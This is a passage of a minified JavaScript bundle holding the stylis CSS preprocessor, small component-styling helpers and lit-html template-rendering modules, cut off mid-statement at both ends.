I:C===M&&A===I&&Oe+2!==D&&(33===s.charCodeAt(Oe+2)&&(Te+=s.substring(Oe,D+1)),De="",u=0)}}if(0===u){if(pe+h+l+O===0&&t!==te&&C!==V)switch(C){case S:case ae:case E:case ee:case F:case _:if(0===j){switch(A){case L:case G:case H:case K:De+="\0";break;default:De="\0"+De+(C===S?"":"\0")}Ae=1}else switch(C){case _:z+7===D&&108===A&&(z=0),j=++y;break;case F:0==(j=--y)&&(Ae=1,De+="\0")}break;case L:case G:switch(A){case re:case Z:case X:case V:case S:case ce:case L:case G:case H:case K:break;default:0===j&&(Ae=1,De+="\0")}}Ie+=De,C!==G&&C!==L&&($=C)}}m=A,A=C,D++}if(Oe=Te.length,me>0&&0===Oe&&0===Pe.length&&0===a[0].length==!1&&(t!==ne||1===a.length&&(pe>0?Fe:We)===a[0])&&(Oe=a.join(",").length+2),Oe>0){if(i=0===pe&&t!==te?function(e){for(var a,r,s=0,t=e.length,n=Array(t);s<t;++s){for(var i=e[s].split(o),f="",l=0,u=0,b=0,h=0,d=i.length;l<d;++l)if(!(0===(u=(r=i[l]).length)&&d>1)){if(b=f.charCodeAt(f.length-1),h=r.charCodeAt(0),a="",0!==l)switch(b){case I:case ae:case E:case ee:case G:case _:break;default:a=" "}switch(h){case N:r=a+Fe;case ae:case E:case ee:case G:case F:case _:break;case W:r=a+r+Fe;break;case T:switch(2*r.charCodeAt(1)+3*r.charCodeAt(2)){case 530:if(Ce>0){r=a+r.substring(8,u-1);break}default:(l<1||i[l-1].length<1)&&(r=a+Fe+r)}break;case S:a="";default:r=u>1&&r.indexOf(":")>0?a+r.replace(v,"$1"+Fe+"$2"):a+r+Fe}f+=r}n[s]=f.replace(c,"").trim()}return n}(a):a,ye>0&&void 0!==(f=Ne(Qe,Te,i,e,ke,de,Oe,t,n,t))&&0===(Te=f).length)return Re+Te+Pe;if(Te=i.join(",")+"{"+Te+"}",we*ge!=0){switch(2!==we||Ye(Te,2)||(ge=0),ge){case oe:Te=Te.replace(g,":"+J+"$1")+Te;break;case fe:Te=Te.replace(k,"::"+q+"input-$1")+Te.replace(k,"::"+J+"$1")+Te.replace(k,":"+Q+"input-$1")+Te}ge=0}}return Re+Te+Pe}function He(e,a,r){var c=a.trim().split(l),s=c,t=c.length,n=e.length;switch(n){case 0:case 1:for(var i=0,f=0===n?"":e[0]+" ";i<t;++i)s[i]=Ke(f,s[i],r,n).trim();break;default:i=0;var o=0;for(s=[];i<t;++i)for(var u=0;u<n;++u)s[o++]=Ke(e[u]+" ",c[i],r,n).trim()}return s}function Ke(e,a,r,c){var s=a,t=s.charCodeAt(0);switch(t<33&&(t=(s=s.trim()).charCodeAt(0)),t){case N:switch(pe+c){case 0:case 1:if(0===e.trim().length)break;default:return s.replace(u,"$1"+e.trim())}break;case T:switch(s.charCodeAt(1)){case 103:if(Ce>0&&pe>0)return s.replace(b,"$1").replace(u,"$1"+We);break;default:return e.trim()+s.replace(u,"$1"+e.trim())}default:if(r*pe>0&&s.indexOf("\f")>0)return s.replace(u,(e.charCodeAt(0)===T?"":"$1")+e.trim())}return e+s}function Le(e,a,r,c){var o,l=0,u=e+";",b=2*a+3*r+4*c;if(944===b)return function(e){var a=e.length,r=e.indexOf(":",9)+1,c=e.substring(0,r).trim(),s=e.substring(r,a-1).trim();switch(e.charCodeAt(9)*Ze){case 0:break;case U:if(110!==e.charCodeAt(10))break;default:for(var t=s.split((s="",i)),n=0,r=0,a=t.length;n<a;r=0,++n){for(var o=t[n],l=o.split(f);o=l[r];){var u=o.charCodeAt(0);if(1===Ze&&(u>Y&&u<90||u>96&&u<123||u===D||u===U&&o.charCodeAt(1)!==U))switch(isNaN(parseFloat(o))+(-1!==o.indexOf("("))){case 1:switch(o){case"infinite":case"alternate":case"backwards":case"running":case"normal":case"forwards":case"both":case"none":case"linear":case"ease":case"ease-in":case"ease-out":case"ease-in-out":case"paused":case"reverse":case"alternate-reverse":case"inherit":case"initial":case"unset":case"step-start":case"step-end":break;default:o+=_e}}l[r++]=o}s+=(0===n?"":",")+l.join(" ")}}return s=c+s+";",1===we||2===we&&Ye(s,1)?q+s+s:s}(u);if(0===we||2===we&&!Ye(u,1))return u;switch(b){case 1015:return 97===u.charCodeAt(10)?q+u+u:u;case 951:return 116===u.charCodeAt(3)?q+u+u:u;case 963:return 110===u.charCodeAt(5)?q+u+u:u;case 1009:if(100!==u.charCodeAt(4))break;case 969:case 942:return q+u+u;case 978:return q+u+J+u+u;case 1019:case 983:return q+u+J+u+Q+u+u;case 883:return u.charCodeAt(8)===U?q+u+u:u.indexOf("image-set(",11)>0?u.replace(z,"$1"+q+"$2")+u:u;case 932:if(u.charCodeAt(4)===U)switch(u.charCodeAt(5)){case 103:return q+"box-"+u.replace("-grow","")+q+u+Q+u.replace("grow","positive")+u;case 115:return q+u+Q+u.replace("shrink","negative")+u;case 98:return q+u+Q+u.replace("basis","preferred-size")+u}return q+u+Q+u+u;case 964:return q+u+Q+"flex-"+u+u;case 1023:if(99!==u.charCodeAt(8))break;return o=u.substring(u.indexOf(":",15)).replace("flex-","").replace("space-between","justify"),q+"box-pack"+o+q+u+Q+"flex-pack"+o+u;case 1005:return t.test(u)?u.replace(s,":"+q)+u.replace(s,":"+J)+u:u;case 1e3:switch(l=(o=u.substring(13).trim()).indexOf("-")+1,o.charCodeAt(0)+o.charCodeAt(l)){case 226:o=u.replace(m,"tb");break;case 232:o=u.replace(m,"tb-rl");break;case 220:o=u.replace(m,"lr");break;default:return u}return q+u+Q+o+u;case 1017:if(-1===u.indexOf("sticky",9))return u;case 975:switch(l=(u=e).length-10,b=(o=(33===u.charCodeAt(l)?u.substring(0,l):u).substring(e.indexOf(":",7)+1).trim()).charCodeAt(0)+(0|o.charCodeAt(7))){case 203:if(o.charCodeAt(8)<111)break;case 115:u=u.replace(o,q+o)+";"+u;break;case 207:case 102:u=u.replace(o,q+(b>102?"inline-":"")+"box")+";"+u.replace(o,q+o)+";"+u.replace(o,Q+o+"box")+";"+u}return u+";";case 938:if(u.charCodeAt(5)===U)switch(u.charCodeAt(6)){case 105:return o=u.replace("-items",""),q+u+q+"box-"+o+Q+"flex-"+o+u;case 115:return q+u+Q+"flex-item-"+u.replace(y,"")+u;default:return q+u+Q+"flex-line-pack"+u.replace("align-content","").replace(y,"")+u}break;case 973:case 989:if(u.charCodeAt(3)!==U||122===u.charCodeAt(4))break;case 931:case 953:if(!0===O.test(e))return 115===(o=e.substring(e.indexOf(":")+1)).charCodeAt(0)?Le(e.replace("stretch","fill-available"),a,r,c).replace(":fill-available",":stretch"):u.replace(o,q+o)+u.replace(o,J+o.replace("fill-",""))+u;break;case 962:if(u=q+u+(102===u.charCodeAt(5)?Q+u:"")+u,r+c===211&&105===u.charCodeAt(13)&&u.indexOf("transform",10)>0)return u.substring(0,u.indexOf(";",27)+1).replace(n,"$1"+q+"$2")+u}return u}function Ye(e,a){var r=e.indexOf(1===a?":":"{"),c=e.substring(0,3!==a?r:10),s=e.substring(r+1,e.length-1);return je(2!==a?c:c.replace(j,"$1"),s,a)}function Ge(e,a){var r=Le(a,a.charCodeAt(0),a.charCodeAt(1),a.charCodeAt(2));return r!==a+";"?r.replace($," or ($1)").substring(4):"("+a+")"}function Ne(e,a,r,c,s,t,n,i,f,o){for(var l,u=0,b=a;u<ye;++u)switch(l=$e[u].call(Ie,e,b,r,c,s,t,n,i,f,o)){case void 0:case!1:case!0:case null:break;default:b=l}if(b!==a)return b}function Ue(e,a,r,c){for(var s=a+1;s<r;++s)switch(c.charCodeAt(s)){case M:if(e===I&&c.charCodeAt(s-1)===I&&a+2!==s)return s+1;break;case H:if(e===M)return s+1}return s}function De(e){for(var a in e){var r=e[a];switch(a){case"keyframe":Ze=0|r;break;case"global":Ce=0|r;break;case"cascade":pe=0|r;break;case"compress":Ae=0|r;break;case"semicolon":ve=0|r;break;case"preserve":me=0|r;break;case"prefix":je=null,r?"function"!=typeof r?we=1:(we=2,je=r):we=0}}return De}function Ie(a,r){if(void 0!==this&&this.constructor===Ie)return e(a);var s=a,t=s.charCodeAt(0);t<33&&(t=(s=s.trim()).charCodeAt(0)),Ze>0&&(_e=s.replace(h,t===W?"":"-")),t=1,1===pe?We=s:Fe=s;var n,i=[We];ye>0&&void 0!==(n=Ne(ze,r,i,i,ke,de,0,0,0,0))&&"string"==typeof n&&(r=n);var f=Be(xe,i,r,0,0);return ye>0&&void 0!==(n=Ne(Oe,f,i,i,ke,de,f.length,0,0,0))&&"string"!=typeof(f=n)&&(t=0),_e="",We="",Fe="",ge=0,ke=1,de=1,Ae*t==0?f:function(e){return e.replace(c,"").replace(p,"").replace(w,"$1").replace(C,"$1").replace(A," ")}(f)}return Ie.use=function e(a){switch(a){case void 0:case null:ye=$e.length=0;break;default:if("function"==typeof a)$e[ye++]=a;else if("object"==typeof a)for(var r=0,c=a.length;r<c;++r)e(a[r]);else Xe=0|!!a}return e},Ie.set=De,void 0!==a&&De(a),Ie});
},{}],"sHpU":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.processStyle=r;var e=t(require("stylis"));function t(e){return e&&e.__esModule?e:{default:e}}function r(t,r){if(t)return(0,e.default)(".".concat(t),r);var u=(0,e.default)("",r);return u.substr(1,u.length-2)}
},{"stylis":"YOxv"}],"TAhB":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.getClasses=s;var e=require("./processStyle");function s(s,c){var r=Object.keys(c.classes),t={};return{rules:r.reduce(function(r,a){var n="".concat(a,"--").concat(s);return t[a]=n,"".concat(r).concat((0,e.processStyle)(n,c.classes[a]))},""),mapping:t}}
},{"./processStyle":"sHpU"}],"Y1Xb":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.getStyles=n;var e=require("./processStyle");function t(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{},o=Object.keys(n);"function"==typeof Object.getOwnPropertySymbols&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(e){return Object.getOwnPropertyDescriptor(n,e).enumerable}))),o.forEach(function(t){r(e,t,n[t])})}return e}function r(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function n(){var n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return Object.keys(n).reduce(function(o,u){var c="function"==typeof n[u];return t({},o,r({},u,c?function(){return(0,e.processStyle)(null,n[u].apply(n,arguments))}:(0,e.processStyle)(null,n[u])))},{})}
},{"./processStyle":"sHpU"}],"iWuY":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.default=void 0;var e=require("./registerStyles"),s=require("./getClasses"),t=require("./getStyles"),r={registerStyles:e.registerStyles,getClasses:s.getClasses,getStyles:t.getStyles};exports.default=r;
},{"./registerStyles":"mUjP","./getClasses":"TAhB","./getStyles":"Y1Xb"}],"L6n8":[function(require,module,exports) {
"use strict";function e(e){for(var n=1;n<arguments.length;n++){var r=null!=arguments[n]?arguments[n]:{},o=Object.keys(r);"function"==typeof Object.getOwnPropertySymbols&&(o=o.concat(Object.getOwnPropertySymbols(r).filter(function(e){return Object.getOwnPropertyDescriptor(r,e).enumerable}))),o.forEach(function(n){t(e,n,r[n])})}return e}function t(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function n(n){var r=n.store,o=n.componentDef,c=n.classesMapping,s=n.processedStyles,u=o.state,i=void 0===u?function(){return{}}:u,a=o.actions,l=void 0===a?function(){return{}}:a,f=e({},Object.keys(c).reduce(function(n,r){return e({},n,t({},r,c[r]))},{}));return function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return{props:e,state:i(e,r),actions:l(e,r),styles:s,classes:f}}}Object.defineProperty(exports,"__esModule",{value:!0}),exports.getFinalProps=n;
},{}],"bAwu":[function(require,module,exports) {
"use strict";function e(e,t){return{alerts:e.objects.alerts,check:e.methods.check,toggle:e.methods.toggle,measure:e.utils.measure,set:e.methods.set,setItem:e.methods.setItem,call:e.process.call,get:e.methods.get(t),db:e.db?e.db.query:function(){}}}Object.defineProperty(exports,"__esModule",{value:!0}),exports.getStore=e;
},{}],"xMUD":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.default=void 0;var e=s(require("../../styles")),t=require("./getFinalProps"),r=require("./getStore");function s(e){return e&&e.__esModule?e:{default:e}}var n=function(s,n){return function(o){var u=n.methods.registerComponent(o),l=e.default.getClasses(u,o);e.default.registerStyles(s,u,l.rules);var a=(0,r.getStore)(n,u),i=e.default.getStyles(o.styles),d=(0,t.getFinalProps)({store:a,componentDef:o,classesMapping:l.mapping||{},processedStyles:i});return function(e,t){var r;return r=d(e),o.render(r,t)}}};exports.default=n;
},{"../../styles":"iWuY","./getFinalProps":"L6n8","./getStore":"bAwu"}],"w7Av":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.createHoc=r;var e=t(require("./custom/create"));function t(e){return e&&e.__esModule?e:{default:e}}function r(t){return function(r){return(0,e.default)(t,r)}}
},{"./custom/create":"xMUD"}],"om6y":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.render=exports.unsafeHTML=exports.guard=exports.repeat=exports.html=void 0;var r="@__unsafe__";function t(r){var t=r.indexOf("@");return r.substr(0,t).trim()}function e(t,e){return Array.isArray(e)?e.join(""):0===e.length?t.endsWith("=")?'""':"":e.indexOf(r)>-1?e.replace(r,""):e.match(/\r|\n/)?e:'"'.concat(e,'"')}var n=function(r){for(var n=arguments.length,o=new Array(n>1?n-1:0),a=1;a<n;a++)o[a-1]=arguments[a];return r.reduce(function(r,n,a){var c=o[a]||"";if("function"==typeof c)return"".concat(r).concat(t(n));var u=e(n,String(c));return"".concat(r).concat(n).concat(u).replace(/>\s*,\s*</,"><")},"")};exports.html=n;var o=function(r,t,e){return r.map(e)};exports.repeat=o;var a=function(r,t){return t()};exports.guard=a;var c=function(t){return"".concat(r).concat(t.trim())};exports.unsafeHTML=c;var u=function(){};exports.render=u;
},{}],"uWh2":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.isDirective=exports.directive=void 0;const e=new WeakMap,t=t=>(...s)=>{const i=t(...s);return e.set(i,!0),i};exports.directive=t;const s=t=>"function"==typeof t&&e.has(t);exports.isDirective=s;
},{}],"2ytx":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.removeNodes=exports.reparentNodes=exports.isCEPolyfill=void 0;const e=void 0!==window.customElements&&void 0!==window.customElements.polyfillWrapFlushCallback;exports.isCEPolyfill=e;const o=(e,o,l=null,s=null)=>{let t=o;for(;t!==l;){const o=t.nextSibling;e.insertBefore(t,s),t=o}};exports.reparentNodes=o;const l=(e,o,l=null)=>{let s=o;for(;s!==l;){const o=s.nextSibling;e.removeChild(s),s=o}};exports.removeNodes=l;
},{}],"pnLb":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.noChange=void 0;const e={};exports.noChange=e;
},{}],"Av0K":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.lastAttributeNameRegex=exports.createMarker=exports.isTemplatePartActive=exports.Template=exports.boundAttributeSuffix=exports.markerRegex=exports.nodeMarker=exports.marker=void 0;const c=`{{lit-${String(Math.random()).slice(2)}}}`;exports.marker=c;const x=`\x3c!--${c}--\x3e`;exports.nodeMarker=x;const f=new RegExp(`${c}|${x}`);exports.markerRegex=f;const h="$lit$";exports.boundAttributeSuffix=h;class t{constructor(x,t){this.parts=[],this.element=t;let l=-1,$=0;const A=[],E=t=>{const O=t.content,p=document.createTreeWalker(O,133,null,!1);let B,s;for(;p.nextNode();){l++,B=s;const t=s=p.currentNode;if(1===t.nodeType){if(t.hasAttributes()){const y=t.attributes;let A=0;for(let x=0;x<y.length;x++)y[x].value.indexOf(c)>=0&&A++;for(;A-- >0;){const c=x.strings[$],y=T.exec(c)[2],A=y.toLowerCase()+h,E=t.getAttribute(A).split(f);this.parts.push({type:"attribute",index:l,name:y,strings:E}),t.removeAttribute(A),$+=E.length-1}}"TEMPLATE"===t.tagName&&E(t)}else if(3===t.nodeType){const x=t.nodeValue;if(x.indexOf(c)<0)continue;const h=t.parentNode,T=x.split(f),E=T.length-1;$+=E;for(let c=0;c<E;c++)h.insertBefore(""===T[c]?y():document.createTextNode(T[c]),t),this.parts.push({type:"node",index:l++});h.insertBefore(""===T[E]?y():document.createTextNode(T[E]),t),A.push(t)}else if(8===t.nodeType)if(t.nodeValue===c){const c=t.parentNode,x=t.previousSibling;null===x||x!==B||x.nodeType!==Node.TEXT_NODE?c.insertBefore(y(),t):l--,this.parts.push({type:"node",index:l++}),A.push(t),null===t.nextSibling?c.insertBefore(y(),t):l--,s=B,$++}else{let x=-1;for(;-1!==(x=t.nodeValue.indexOf(c,x+1));)this.parts.push({type:"node",index:-1})}}};E(t);for(const c of A)c.parentNode.removeChild(c)}}exports.Template=t;const l=c=>-1!==c.index;exports.isTemplatePartActive=l;const y=()=>document.createComment("");exports.createMarker=y;const T=/([ \x09\x0a\x0c\x0d])([^\0-\x1F\x7F-\x9F \x09\x0a\x0c\x0d"'>=\/]+)([ \x09\x0a\x0c\x0d]*=[ \x09\x0a\x0c\x0d]*(?:[^ \x09\x0a\x0c\x0d"'`<>=]*|"[^"]*|'[^']*))$/;exports.lastAttributeNameRegex=T;
},{}],"bn5t":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.TemplateInstance=void 0;var s=require("./dom.js"),i=require("./template.js");class l{constructor(s,i,l){this._parts=[],this.template=s,this.processor=i,this.options=l}update(s){let i=0;for(const l of this._parts)void 0!==l&&l.setValue(s[i]),i++;for(const l of this._parts)void 0!==l&&l.commit()}_clone(){const l=s.isCEPolyfill?this.template.element.content.cloneNode(!0):document.importNode(this.template.element.content,!0),e=this.template.parts;let c=0,h=0;const m=s=>{const l=document.createTreeWalker(s,133,null,!1);let u=l.nextNode();for(;c<e.length&&null!==u;){const s=e[c];if((0,i.isTemplatePartActive)(s))if(h===s.index){if("node"===s.type){const s=this.processor.handleTextExpression(this.options);s.insertAfterNode(u),this._parts.push(s)}else this._parts.push(...this.processor.handleAttributeExpressions(u,s.name,s.strings,this.options));c++}else h++,"TEMPLATE"===u.nodeName&&m(u.content),u=l.nextNode();else this._parts.push(void 0),c++}};return m(l),s.isCEPolyfill&&(document.adoptNode(l),customElements.upgrade(l)),l}}exports.TemplateInstance=l;
},{"./dom.js":"2ytx","./template.js":"Av0K"}],"cVNN":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.SVGTemplateResult=exports.TemplateResult=void 0;var e=require("./dom.js"),t=require("./template.js");class s{constructor(e,t,s,r){this.strings=e,this.values=t,this.type=s,this.processor=r}getHTML(){const e=this.strings.length-1;let s="";for(let r=0;r<e;r++){const e=this.strings[r];let l=!1;s+=e.replace(t.lastAttributeNameRegex,(e,s,r,n)=>(l=!0,s+r+t.boundAttributeSuffix+n+t.marker)),l||(s+=t.nodeMarker)}return s+this.strings[e]}getTemplateElement(){const e=document.createElement("template");return e.innerHTML=this.getHTML(),e}}exports.TemplateResult=s;class r extends s{getHTML(){return`<svg>${super.getHTML()}</svg>`}getTemplateElement(){const t=super.getTemplateElement(),s=t.content,r=s.firstChild;return s.removeChild(r),(0,e.reparentNodes)(s,r.firstChild),t}}exports.SVGTemplateResult=r;
},{"./dom.js":"2ytx","./template.js":"Av0K"}],"atl2":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.EventPart=exports.PropertyPart=exports.PropertyCommitter=exports.BooleanAttributePart=exports.NodePart=exports.AttributePart=exports.AttributeCommitter=exports.isPrimitive=void 0;var t=require("./directive.js"),e=require("./dom.js"),i=require("./part.js"),s=require("./template-instance.js"),n=require("./template-result.js"),r=require("./template.js");const o=t=>null===t||!("object"==typeof t||"function"==typeof t);exports.isPrimitive=o;class a{constructor(t,e,i){this.dirty=!0,this.element=t,this.name=e,this.strings=i,this.parts=[];for(let s=0;s<i.length-1;s++)this.parts[s]=this._createPart()}_createPart(){return new h(this)}_getValue(){const t=this.strings,e=t.length-1;let i="";for(let s=0;s<e;s++){i+=t[s];const e=this.parts[s];if(void 0!==e){const t=e.value;if(null!=t&&(Array.isArray(t)||"string"!=typeof t&&t[Symbol.iterator]))for(const e of t)i+="string"==typeof e?e:String(e);else i+="string"==typeof t?t:String(t)}}return i+=t[e]}commit(){this.dirty&&(this.dirty=!1,this.element.setAttribute(this.name,this._getValue()))}}exports.AttributeCommitter=a;class h{constructor(t){this.value=void 0,this.committer=t}setValue(e){e===i.noChange||o(e)&&e===this.value||(this.value=e,(0,t.isDirective)(e)||(this.committer.dirty=!0))}commit(){for(;(0,t.isDirective)(this.value);){const t=this.value;this.value=i.noChange,t(this)}this.value!==i.noChange&&this.committer.commit()}}exports.AttributePart=h;class l{constructor(t){this.value=void 0,this._pendingValue=void 0,this.options=t}appendInto(t){this.startNode=t.appendChild((0,r.createMarker)()),this.endNode=t.appendChild((0,r.createMarker)())}insertAfterNode(t){this.startNode=t,this.endNode=t.nextSibling}appendIntoPart(t){t._insert(this.startNode=(0,r.createMarker)()),t._insert(this.endNode=(0,r.createMarker)())}insertAfterPart(t){t._insert(this.startNode=(0,r.createMarker)()),this.endNode=t.endNode,t.endNode=this.startNode}setValue(t){this._pendingValue=t}commit(){for(;(0,t.isDirective)(this._pendingValue);){const t=this._pendingValue;this._pendingValue=i.noChange,t(this)}const e=this._pendingValue;e!==i.noChange&&(o(e)?e!==this.value&&this._commitText(e):e instanceof n.TemplateResult?this._commitTemplateResult(e):e instanceof Node?this._commitNode(e):Array.isArray(e)||e[Symbol.iterator]?this._commitIterable(e):this._commitText(e))}_insert(t){this.endNode.parentNode.insertBefore(t,this.endNode)}_commitNode(t){this.value!==t&&(this.clear(),this._insert(t),this.value=t)}_commitText(t){const e=this.startNode.nextSibling;t=null==t?"":t,e===this.endNode.previousSibling&&e.nodeType===Node.TEXT_NODE?e.textContent=t:this._commitNode(document.createTextNode("string"==typeof t?t:String(t))),this.value=t}_commitTemplateResult(t){const e=this.options.templateFactory(t);if(this.value&&this.value.template===e)this.value.update(t.values);else{const i=new s.TemplateInstance(e,t.processor,this.options),n=i._clone();i.update(t.values),this._commitNode(n),this.value=i}}_commitIterable(t){Array.isArray(this.value)||(this.value=[],this.clear());const e=this.value;let i,s=0;for(const n of t)void 0===(i=e[s])&&(i=new l(this.options),e.push(i),0===s?i.appendIntoPart(this):i.insertAfterPart(e[s-1])),i.setValue(n),i.commit(),s++;s<e.length&&(e.length=s,this.clear(i&&i.endNode))}clear(t=this.startNode){(0,e.removeNodes)(this.startNode.parentNode,t.nextSibling,this.endNode)}}exports.NodePart=l;class u{constructor(t,e,i){if(this.value=void 0,this._pendingValue=void 0,2!==i.length||""!==i[0]||""!==i[1])throw new Error("Boolean attributes can only contain a single expression");this.element=t,this.name=e,this.strings=i}setValue(t){this._pendingValue=t}commit(){for(;(0,t.isDirective)(this._pendingValue);){const t=this._pendingValue;this._pendingValue=i.noChange,t(this)}if(this._pendingValue===i.noChange)return;const e=!!this._pendingValue;this.value!==e&&(e?this.element.setAttribute(this.name,""):this.element.removeAttribute(this.name)),this.value=e,this._pendingValue=i.noChange}}exports.BooleanAttributePart=u;class d extends a{constructor(t,e,i){super(t,e,i),this.single=2===i.length&&""===i[0]&&""===i[1]}_createPart(){return new c(this)}_getValue(){return this.single?this.parts[0].value:super._getValue()}commit(){this.dirty&&(this.dirty=!1,this.element[this.name]=this._getValue())}}exports.PropertyCommitter=d;class c extends h{}exports.PropertyPart=c;let p=!1;try{const t={get capture(){return p=!0,!1}};window.addEventListener("test",t,t),window.removeEventListener("test",t,t)}catch(g){}class m{constructor(t,e,i){this.value=void 0,this._pendingValue=void 0,this.element=t,this.eventName=e,this.eventContext=i,this._boundHandleEvent=(t=>this.handleEvent(t))}setValue(t){this._pendingValue=t}commit(){for(;(0,t.isDirective)(this._pendingValue);){const t=this._pendingValue;this._pendingValue=i.noChange,t(this)}if(this._pendingValue===i.noChange)return;const e=this._pendingValue,s=this.value,n=null==e||null!=s&&(e.capture!==s.capture||e.once!==s.once||e.passive!==s.passive),r=null!=e&&(null==s||n);n&&this.element.removeEventListener(this.eventName,this._boundHandleEvent,this._options),r&&(this._options=v(e),this.element.addEventListener(this.eventName,this._boundHandleEvent,this._options)),this.value=e,this._pendingValue=i.noChange}handleEvent(t){"function"==typeof this.value?this.value.call(this.eventContext||this.element,t):this.value.handleEvent(t)}}exports.EventPart=m;const v=t=>t&&(p?{capture:t.capture,passive:t.passive,once:t.once}:t.capture);
},{"./directive.js":"uWh2","./dom.js":"2ytx","./part.js":"pnLb","./template-instance.js":"bn5t","./template-result.js":"cVNN","./template.js":"Av0K"}],"52LB":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.defaultTemplateProcessor=exports.DefaultTemplateProcessor=void 0;var e=require("./parts.js");class t{handleAttributeExpressions(t,r,s,o){const a=r[0];if("."===a){return new e.PropertyCommitter(t,r.slice(1),s).parts}return"@"===a?[new e.EventPart(t,r.slice(1),o.eventContext)]:"?"===a?[new e.BooleanAttributePart(t,r.slice(1),s)]:new e.AttributeCommitter(t,r,s).parts}handleTextExpression(t){return new e.NodePart(t)}}exports.DefaultTemplateProcessor=t;const r=new t;exports.defaultTemplateProcessor=r;
},{"./parts.js":"atl2"}],"gbKZ":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.templateFactory=t,exports.templateCaches=void 0;var e=require("./template.js");function t(t){let s=r.get(t.type);void 0===s&&(s={stringsArray:new WeakMap,keyString:new Map},r.set(t.type,s));let n=s.stringsArray.get(t.strings);if(void 0!==n)return n;const a=t.strings.join(e.marker);return void 0===(n=s.keyString.get(a))&&(n=new e.Template(t,t.getTemplateElement()),s.keyString.set(a,n)),s.stringsArray.set(t.strings,n),n}const r=new Map;exports.templateCaches=r;
},{"./template.js":"Av0K"}],"Fhpq":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.render=exports.parts=void 0;var e=require("./dom.js"),t=require("./parts.js"),r=require("./template-factory.js");const s=new WeakMap;exports.parts=s;const o=(o,a,p)=>{let d=s.get(a);void 0===d&&((0,e.removeNodes)(a,a.firstChild),s.set(a,d=new t.NodePart(Object.assign({templateFactory:r.templateFactory},p))),d.appendInto(a)),d.setValue(o),d.commit()};exports.render=o;
},{"./dom.js":"2ytx","./parts.js":"atl2","./template-factory.js":"gbKZ"}],"SP/d":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),Object.defineProperty(exports,"DefaultTemplateProcessor",{enumerable:!0,get:function(){return e.DefaultTemplateProcessor}}),Object.defineProperty(exports,"defaultTemplateProcessor",{enumerable:!0,get:function(){return e.defaultTemplateProcessor}}),Object.defineProperty(exports,"SVGTemplateResult",{enumerable:!0,get:function(){return t.SVGTemplateResult}}),Object.defineProperty(exports,"TemplateResult",{enumerable:!0,get:function(){return t.TemplateResult}}),Object.defineProperty(exports,"directive",{enumerable:!0,get:function(){return r.directive}}),Object.defineProperty(exports,"isDirective",{enumerable:!0,get:function(){return r.isDirective}}),Object.defineProperty(exports,"removeNodes",{enumerable:!0,get:function(){return n.removeNodes}}),Object.defineProperty(exports,"reparentNodes",{enumerable:!0,get:function(){return n.reparentNodes}}),Object.defineProperty(exports,"noChange",{enumerable:!0,get:function(){return o.noChange}}),Object.defineProperty(exports,"AttributeCommitter",{enumerable:!0,get:function(){return i.AttributeCommitter}}),Object.defineProperty(exports,"AttributePart",{enumerable:!0,get:function(){return i.AttributePart}}),Object.defineProperty(exports,"BooleanAttributePart",{enumerable:!0,get:function(){return i.BooleanAttributePart}}),Object.defineProperty(exports,"EventPart",{enumerable:!0,get:function(){return i.EventPart}}),Object.defineProperty(exports,"isPrimitive",{enumerable:!0,get:function(){return i.isPrimitive}}),Object.defineProperty(exports,"NodePart",{enumerable:!0,get:function(){return i.NodePart}}),Object.defineProperty(exports,"PropertyCommitter",{enumerable:!0,get:function(){return i.PropertyCommitter}}),Object.defineProperty(exports,"PropertyPart",{enumerable:!0,get:function(){return i.PropertyPart}}),Object.defineProperty(exports,"parts",{enumerable:!0,get:function(){return u.parts}}),Object.defineProperty(exports,"render",{enumerable:!0,get:function(){return u.render}}),Object.defineProperty(exports,"templateCaches",{enumerable:!0,get:function(){return a.templateCaches}}),Object.defineProperty(exports,"templateFactory",{enumerable:!0,get:function(){return a.templateFactory}}),Object.defineProperty(exports,"TemplateInstance",{enumerable:!0,get:function(){return p.TemplateInstance}}),Object.defineProperty(exports,"createMarker",{enumerable:!0,get:function(){return s.createMarker}}),Object.defineProperty(exports,"isTemplatePartActive",{enumerable:!0,get:function(){return s.isTemplatePartActive}}),Object.defineProperty(exports,"Template",{enumerable:!0,get:function(){return s.Template}}),exports.svg=exports.html=void 0;var e=require("./lib/default-template-processor.js"),t=require("./lib/template-result.js"),r=require("./lib/directive.js"),n=require("./lib/dom.js"),o=require("./lib/part.js"),i=require("./lib/parts.js"),u=require("./lib/render.js"),a=require("./lib/template-factory.js"),p=require("./lib/template-instance.js"),s=require("./lib/template.js");const l=(r,...n)=>new t.TemplateResult(r,n,"html",e.defaultTemplateProcessor);exports.html=l;const c=(r,...n)=>new 